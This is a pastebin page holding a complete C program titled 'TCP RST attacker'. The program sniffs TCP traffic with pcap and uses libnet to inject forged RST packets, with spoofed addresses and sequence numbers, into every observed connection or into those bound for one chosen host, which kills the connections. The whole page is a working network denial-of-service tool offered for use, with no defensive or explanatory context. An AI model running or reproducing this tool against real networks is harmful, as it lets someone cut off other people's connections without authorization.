KinG-InFeT.NeT ~ No-Paste

Titolo: TCP RST attacker Autore: BlackLight Data: 20.09.09 Numero Linee:   
  1. #include <libnet.h>
  2. #include <pcap.h>
  3. #include <netdb.h>
  4.  
  5. #define ETHLEN 16
  6. #define IPLEN sizeof(struct iphdr)
  7. #define TCPLEN sizeof(struct tcphdr)
  8.  
  9. typedef unsigned char u8;
  10. typedef unsigned short int u16;
  11. typedef unsigned long int u32;
  12. typedef enum { false,true } BOOL;
  13.  
  14. void err (char *errbuf) {
  15. fprintf (stderr,"[-] Error: %s\n",errbuf);
  16. exit(1);
  17. }
  18.  
  19. void rst_inj3ct (struct iphdr ip, struct tcphdr tcp, libnet_t *l) {
  20. int hlen = LIBNET_TCP_H + LIBNET_IPV4_H + LIBNET_ETH_H;
  21. char src[INET6_ADDRSTRLEN],dst[INET6_ADDRSTRLEN];
  22. char neterr[LIBNET_ERRBUF_SIZE];
  23.  
  24. if (libnet_build_tcp(
  25. htons(tcp.dest),
  26. htons(tcp.source),
  27. htonl(tcp.ack_seq),
  28. htonl(tcp.seq)+1,
  29. TH_RST,
  30. htons(32767),
  31. 0,
  32. 0,
  33. htons(TCPLEN),
  34. (u8*) 0,
  35. 0,
  36. l,
  37. 0) < 0)
  38. err(neterr);
  39.  
  40. if (libnet_build_ipv4(
  41. hlen,
  42. 0,
  43. 0x200,
  44. 0,
  45. 64,
  46. IPPROTO_TCP,
  47. 0,
  48. ip.daddr,
  49. ip.saddr,
  50. NULL,
  51. 0,
  52. l,
  53. 0) < 0)
  54. err(neterr);
  55.  
  56. inet_ntop (AF_INET, &ip.saddr, src, sizeof(src));
  57. inet_ntop (AF_INET, &ip.daddr, dst, sizeof(dst));
  58. printf ("[+] RST *** %s:%d > %s:%d\n",src,htons(tcp.source),dst,htons(tcp.dest));
  59.  
  60. if (libnet_write(l)<0)
  61. err(neterr);
  62. }
  63.  
  64. main(int argc, char **argv) {
  65. u32 addr=0;
  66. int i;
  67. char neterr[LIBNET_ERRBUF_SIZE];
  68. char caperr[PCAP_ERRBUF_SIZE];
  69. char host[INET6_ADDRSTRLEN];
  70. const unsigned char *packet=NULL;
  71. BOOL to_host=false;
  72.  
  73. struct pcap_pkthdr pkthdr;
  74. struct bpf_program filter;
  75.  
  76. struct iphdr ip;
  77. struct tcphdr tcp;
  78. struct hostent *h;
  79.  
  80. bpf_u_int32 net=0,mask=0;
  81. pcap_t *p;
  82. libnet_t *l;
  83.  
  84. if (argv[1]) {
  85. if (!(h=gethostbyname(argv[1]))) {
  86. fprintf (stderr,"[-] Unable to resolve %s\n",argv[1]);
  87. exit(1);
  88. }
  89.  
  90. inet_ntop (h->h_addrtype, h->h_addr, host, sizeof(host));
  91. to_host=true;
  92. }
  93.  
  94. if (!(l=libnet_init(LIBNET_RAW4,NULL,neterr)))
  95. err(neterr);
  96.  
  97. if (!(p=pcap_open_live(NULL,BUFSIZ,0,0,caperr)))
  98. err(caperr);
  99.  
  100. if (pcap_lookupnet(NULL,&net,&mask,caperr))
  101. err(caperr);
  102.  
  103. pcap_compile(p,&filter,"(tcp[13] == 0x10) or (tcp[13] == 0x18)",1,mask);
  104. pcap_setfilter(p,&filter);
  105.  
  106. if ((addr=libnet_get_ipaddr4(l))<0)
  107. err(neterr);
  108.  
  109. while (1) {
  110. packet=pcap_next(p,&pkthdr);
  111.  
  112. if (packet) {
  113. memcpy (&ip,packet+ETHLEN,IPLEN);
  114.  
  115. if (ip.protocol==IPPROTO_TCP) {
  116. memcpy (&tcp,packet+ETHLEN+IPLEN,TCPLEN);
  117.  
  118. if (to_host) {
  119. if (ip.daddr==inet_addr(host))
  120. rst_inj3ct(ip,tcp,l);
  121. } else
  122. rst_inj3ct(ip,tcp,l);
  123. }
  124. }
  125. }
  126.  
  127. libnet_destroy(l);
  128. pcap_close(p);
  129. }


Powered By 0xPaste
Versione: v1.6



[-Administration Panel-]